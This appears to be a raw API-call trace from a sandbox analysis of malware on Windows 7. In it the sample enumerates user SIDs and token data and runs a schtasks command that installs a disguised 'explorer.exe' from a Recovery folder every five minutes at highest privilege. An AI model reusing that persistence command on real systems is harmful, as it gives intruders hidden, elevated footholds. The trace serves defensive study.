[0138.286] GetLastError () returned 0x7a [0138.286] malloc (_Size=0x14) returned 0x2aefc0 [0138.286] malloc (_Size=0x16) returned 0x2af0c0 [0138.286] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefc0, cchName=0xe7ca94, ReferencedDomainName=0x2af0c0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0138.286] malloc (_Size=0x18) returned 0x2aefa0 [0138.286] malloc (_Size=0x18) returned 0x2aef80 [0138.287] free (_Block=0x2aefc0) [0138.287] free (_Block=0x2af0c0) [0138.287] free (_Block=0x2affa0) [0138.287] free (_Block=0x2aef80) [0138.287] free (_Block=0x2aefa0) [0138.287] free (_Block=0x2af000) [0138.287] free (_Block=0x2ae2e0) [0138.288] malloc (_Size=0x48) returned 0x2ad3b0 [0138.288] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0138.301] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0138.301] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0138.301] malloc (_Size=0x18) returned 0x2af000 [0138.301] CreateEnvironmentBlock () returned 0x1 [0138.367] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0138.367] malloc (_Size=0x18) returned 0x2aefa0 [0138.367] CreateProcessAsUserW (in: hToken=0x234, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"explorere\" /sc MINUTE /mo 5 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x19cd50, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"explorere\" /sc MINUTE /mo 5 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x2f8, hThread=0x248, dwProcessId=0xf80, dwThreadId=0xf84)) returned 1 [0138.374] CloseHandle (hObject=0x2f8) returned 1 [0138.374] CloseHandle (hObject=0x248) returned 1 [0138.374] free (_Block=0x2aefa0) [0138.374] DestroyEnvironmentBlock () returned 0x1 [0138.374] malloc (_Size=0x48) returned 0x2ad270 [0138.375] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x21640fe0, dwHighDateTime=0x1d8a92a)) [0138.375] SetEvent (hEvent=0x1f0) returned 1 [0138.375] CloseHandle (hObject=0x238) returned 1 [0138.375] CloseHandle (hObject=0x234) returned 1 [0139.129] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd960 [0139.129] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd960, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0139.129] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0139.831] SetLastError (dwErrCode=0x0) [0139.831] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0139.831] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0139.831] SetLastError (dwErrCode=0x0) [0139.831] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0139.831] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0139.831] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0139.831] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f0a0 [0139.831] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f0a0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0139.832] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f0a0 | out: hHeap=0xc0000) returned 1 [0139.833] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0139.834] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0139.834] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0139.834] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0139.834] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0139.834] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0139.834] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0139.836] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0139.836] GetCurrentThread () returned 0xfffffffffffffffe [0139.836] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x234) returned 1 [0139.836] malloc (_Size=0xd8) returned 0x2b8790 [0139.836] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0139.836] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0139.836] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0139.836] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0139.836] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0139.836] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0139.837] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0139.837] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0139.837] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0139.837] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0139.837] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0139.837] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0139.837] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0139.837] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0139.837] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0139.838] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0139.838] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0139.838] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0139.838] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0139.838] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0139.838] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0139.838] malloc (_Size=0x18) returned 0x2af0e0 [0139.838] DuplicateTokenEx (in: hExistingToken=0x234, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x238) returned 1 [0139.838] malloc (_Size=0x48) returned 0x2ad220 [0139.838] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x21fec940, dwHighDateTime=0x1d8a92a)) [0139.838] SetEvent (hEvent=0x1f0) returned 1 [0139.841] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0139.841] GetLastError () returned 0x7a [0139.841] malloc (_Size=0x2c) returned 0x2ae2a0 [0139.841] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0139.841] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0139.841] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0139.841] malloc (_Size=0x1c) returned 0x2b0000 [0139.841] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b0000, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b0000*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0139.841] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0139.841] malloc (_Size=0x18) returned 0x2af000 [0139.841] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0139.842] malloc (_Size=0x18) returned 0x2aefa0 [0139.842] malloc (_Size=0x18) returned 0x2aef80 [0139.842] SysStringLen (param_1="S-1-") returned 0x4 [0139.842] SysStringLen (param_1="5") returned 0x1 [0139.842] memcpy (in: _Dst=0x161948, _Src=0x139628, _Size=0xa | out: _Dst=0x161948) returned 0x161948 [0139.842] memcpy (in: _Dst=0x161950, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x161950) returned 0x161950 [0139.842] free (_Block=0x2af000) [0139.842] free (_Block=0x2aefa0) [0139.842] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0139.842] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0139.842] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0139.842] malloc (_Size=0x18) returned 0x2aefa0 [0139.842] malloc (_Size=0x18) returned 0x2af000 [0139.842] SysStringLen (param_1="S-1-5") returned 0x5 [0139.842] SysStringLen (param_1="-") returned 0x1 [0139.842] memcpy (in: _Dst=0x1618e8, _Src=0x161948, _Size=0xc | out: _Dst=0x1618e8) returned 0x1618e8 [0139.842] memcpy (in: _Dst=0x1618f2, _Src=0x139628, _Size=0x4 | out: _Dst=0x1618f2) returned 0x1618f2 [0139.842] free (_Block=0x2aef80) [0139.842] free (_Block=0x2aefa0) [0139.842] malloc (_Size=0x18) returned 0x2aefa0 [0139.842] malloc (_Size=0x18) returned 0x2aef80 [0139.842] SysStringLen (param_1="S-1-5-") returned 0x6 [0139.842] SysStringLen (param_1="21") returned 0x2 [0139.842] memcpy (in: _Dst=0x139628, _Src=0x1618e8, _Size=0xe | out: _Dst=0x139628) returned 0x139628 [0139.843] memcpy (in: _Dst=0x139634, _Src=0x161948, _Size=0x6 | out: _Dst=0x139634) returned 0x139634 [0139.843] free (_Block=0x2af000) [0139.843] free (_Block=0x2aefa0) [0139.843] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0139.843] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0139.843] malloc (_Size=0x18) returned 0x2aefa0 [0139.843] malloc (_Size=0x18) returned 0x2af000 [0139.843] SysStringLen (param_1="S-1-5-21") returned 0x8 [0139.843] SysStringLen (param_1="-") returned 0x1 [0139.843] memcpy (in: _Dst=0x161948, _Src=0x139628, _Size=0x12 | out: _Dst=0x161948) returned 0x161948 [0139.843] memcpy (in: _Dst=0x161958, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x161958) returned 0x161958 [0139.843] free (_Block=0x2aef80) [0139.843] free (_Block=0x2aefa0) [0139.843] malloc (_Size=0x18) returned 0x2aefa0 [0139.843] malloc (_Size=0x18) returned 0x2aef80 [0139.843] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0139.843] SysStringLen (param_1="4219442223") returned 0xa [0139.843] memcpy (in: _Dst=0x1179a8, _Src=0x161948, _Size=0x14 | out: _Dst=0x1179a8) returned 0x1179a8 [0139.843] memcpy (in: _Dst=0x1179ba, _Src=0x139628, _Size=0x16 | out: _Dst=0x1179ba) returned 0x1179ba [0139.843] free (_Block=0x2af000) [0139.843] free (_Block=0x2aefa0) [0139.843] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0139.843] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0139.843] malloc (_Size=0x18) returned 0x2aefa0 [0139.844] malloc (_Size=0x18) returned 0x2af000 [0139.844] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0139.844] SysStringLen (param_1="-") returned 0x1 [0139.844] memcpy (in: _Dst=0x1182b8, _Src=0x1179a8, _Size=0x28 | out: _Dst=0x1182b8) returned 0x1182b8 [0139.844] memcpy (in: _Dst=0x1182de, _Src=0x161948, _Size=0x4 | out: _Dst=0x1182de) returned 0x1182de [0139.844] free (_Block=0x2aef80) [0139.844] free (_Block=0x2aefa0) [0139.844] malloc (_Size=0x18) returned 0x2aefa0 [0139.844] malloc (_Size=0x18) returned 0x2aef80 [0139.844] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0139.844] SysStringLen (param_1="4223814209") returned 0xa [0139.844] memcpy (in: _Dst=0x12d808, _Src=0x1182b8, _Size=0x2a | out: _Dst=0x12d808) returned 0x12d808 [0139.844] memcpy (in: _Dst=0x12d830, _Src=0x161948, _Size=0x16 | out: _Dst=0x12d830) returned 0x12d830 [0139.844] free (_Block=0x2af000) [0139.844] free (_Block=0x2aefa0) [0139.844] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0139.844] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0139.844] malloc (_Size=0x18) returned 0x2aefa0 [0139.844] malloc (_Size=0x18) returned 0x2af000 [0139.844] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0139.844] SysStringLen (param_1="-") returned 0x1 [0139.844] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x3e | out: _Dst=0x12db38) returned 0x12db38 [0139.844] memcpy (in: _Dst=0x12db74, _Src=0x161948, _Size=0x4 | out: _Dst=0x12db74) returned 0x12db74 [0139.845] free (_Block=0x2aef80) [0139.845] free (_Block=0x2aefa0) [0139.845] malloc (_Size=0x18) returned 0x2aefa0 [0139.845] malloc (_Size=0x18) returned 0x2aef80 [0139.845] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0139.845] SysStringLen (param_1="3835049652") returned 0xa [0139.845] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x40 | out: _Dst=0x12d808) returned 0x12d808 [0139.845] memcpy (in: _Dst=0x12d846, _Src=0x161948, _Size=0x16 | out: _Dst=0x12d846) returned 0x12d846 [0139.845] free (_Block=0x2af000) [0139.845] free (_Block=0x2aefa0) [0139.845] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0139.845] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0139.845] malloc (_Size=0x18) returned 0x2aefa0 [0139.845] malloc (_Size=0x18) returned 0x2af000 [0139.845] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0139.845] SysStringLen (param_1="-") returned 0x1 [0139.845] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x54 | out: _Dst=0x12db38) returned 0x12db38 [0139.845] memcpy (in: _Dst=0x12db8a, _Src=0x161948, _Size=0x4 | out: _Dst=0x12db8a) returned 0x12db8a [0139.845] free (_Block=0x2aef80) [0139.845] free (_Block=0x2aefa0) [0139.845] malloc (_Size=0x18) returned 0x2aefa0 [0139.845] malloc (_Size=0x18) returned 0x2aef80 [0139.845] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0139.846] SysStringLen (param_1="1000") returned 0x4 [0139.846] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x56 | out: _Dst=0x12d808) returned 0x12d808 [0139.846] memcpy (in: _Dst=0x12d85c, _Src=0x161948, _Size=0xa | out: _Dst=0x12d85c) returned 0x12d85c [0139.846] free (_Block=0x2af000) [0139.846] free (_Block=0x2aefa0) [0139.846] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0139.846] malloc (_Size=0x5e) returned 0x2b08a0 [0139.846] free (_Block=0x2aef80) [0139.846] malloc (_Size=0x18) returned 0x2aef80 [0139.846] free (_Block=0x2b08a0) [0139.847] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0139.848] GetLastError () returned 0x7a [0139.848] malloc (_Size=0x14) returned 0x2aefa0 [0139.848] malloc (_Size=0x16) returned 0x2af000 [0139.848] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefa0, cchName=0xe7ca84, ReferencedDomainName=0x2af000, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0139.849] malloc (_Size=0x18) returned 0x2af0c0 [0139.849] malloc (_Size=0x18) returned 0x2aefc0 [0139.849] free (_Block=0x2aefa0) [0139.849] free (_Block=0x2af000) [0139.849] free (_Block=0x2b0000) [0139.849] free (_Block=0x2aefc0) [0139.849] free (_Block=0x2af0c0) [0139.850] free (_Block=0x2aef80) [0139.850] free (_Block=0x2ae2a0) [0139.850] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0139.850] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0139.850] GetLastError () returned 0x7a [0139.850] malloc (_Size=0x2c) returned 0x2ae2e0 [0139.851] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0139.851] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0139.851] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0139.851] malloc (_Size=0x1c) returned 0x2b0000 [0139.851] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b0000, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b0000*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0139.851] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0139.851] malloc (_Size=0x18) returned 0x2aef80 [0139.851] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0139.851] malloc (_Size=0x18) returned 0x2af0c0 [0139.851] malloc (_Size=0x18) returned 0x2aefc0 [0139.851] SysStringLen (param_1="S-1-") returned 0x4 [0139.851] SysStringLen (param_1="5") returned 0x1 [0139.851] memcpy (in: _Dst=0x139628, _Src=0x1618e8, _Size=0xa | out: _Dst=0x139628) returned 0x139628 [0139.851] memcpy (in: _Dst=0x139630, _Src=0x161948, _Size=0x4 | out: _Dst=0x139630) returned 0x139630 [0139.851] free (_Block=0x2aef80) [0139.851] free (_Block=0x2af0c0) [0139.851] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0139.851] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0139.852] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0139.852] malloc (_Size=0x18) returned 0x2af0c0 [0139.852] malloc (_Size=0x18) returned 0x2aef80 [0139.852] SysStringLen (param_1="S-1-5") returned 0x5 [0139.852] SysStringLen (param_1="-") returned 0x1 [0139.852] memcpy (in: _Dst=0x161948, _Src=0x139628, _Size=0xc | out: _Dst=0x161948) returned 0x161948 [0139.852] memcpy (in: _Dst=0x161952, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x161952) returned 0x161952 [0139.852] free (_Block=0x2aefc0) [0139.852] free (_Block=0x2af0c0) [0139.852] malloc (_Size=0x18) returned 0x2af0c0 [0139.852] malloc (_Size=0x18) returned 0x2aefc0 [0139.852] SysStringLen (param_1="S-1-5-") returned 0x6 [0139.852] SysStringLen (param_1="21") returned 0x2 [0139.852] memcpy (in: _Dst=0x1618e8, _Src=0x161948, _Size=0xe | out: _Dst=0x1618e8) returned 0x1618e8 [0139.852] memcpy (in: _Dst=0x1618f4, _Src=0x139628, _Size=0x6 | out: _Dst=0x1618f4) returned 0x1618f4 [0139.852] free (_Block=0x2aef80) [0139.852] free (_Block=0x2af0c0) [0139.852] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0139.853] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0139.853] malloc (_Size=0x18) returned 0x2af0c0 [0139.853] malloc (_Size=0x18) returned 0x2aef80 [0139.853] SysStringLen (param_1="S-1-5-21") returned 0x8 [0139.853] SysStringLen (param_1="-") returned 0x1 [0139.853] memcpy (in: _Dst=0x139628, _Src=0x1618e8, _Size=0x12 | out: _Dst=0x139628) returned 0x139628 